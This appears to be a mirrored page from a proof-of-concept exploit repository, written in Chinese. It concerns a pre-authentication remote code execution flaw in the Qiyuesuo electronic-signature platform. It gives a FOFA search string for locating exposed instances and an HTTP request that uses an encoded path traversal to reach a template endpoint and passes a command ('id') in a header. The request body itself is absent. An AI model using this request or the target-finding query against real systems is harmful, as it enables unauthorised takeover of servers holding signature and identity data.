mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-11-08 11:57:27 +00:00
32 lines
11 KiB
Markdown
32 lines
11 KiB
Markdown
# 契约锁template存在远程命令执行漏洞
|
||
|
||
# 一、漏洞简介
|
||
Qiyuesuo是一款数字化可信基础服务平台，为组织提供“数字身份、电子签章、印章管控以及数据存证服务”于一体的数字化可信基础解决方案。Qiyuesuo存在前台代码执行漏洞，攻击者可构造恶意请求绕过相关认证调用后台功能造成远程代码执行，控制服务器。
|
||
|
||
# 二、影响版本
|
||
+ 契约锁
|
||
|
||
# 三、资产测绘
|
||
+ fofa`app="契约锁-电子签署平台"`
|
||
+ 特征
|
||
|
||
|
||
|
||
# 四、漏洞复现
|
||
```http
|
||
POST /login/%2e%2e/template/html/add HTTP/1.1
|
||
Host:
|
||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
|
||
Content-Type: application/json
|
||
X-State: id
|
||
Content-Length: 9839
|
||
|
||
```
|
||
|
||
|
||
|
||
|
||
|
||
> 更新: 2024-06-17 09:34:03
|
||
> 原文: <https://www.yuque.com/xiaokp7/ocvun2/oul2pitgap61ihk3> |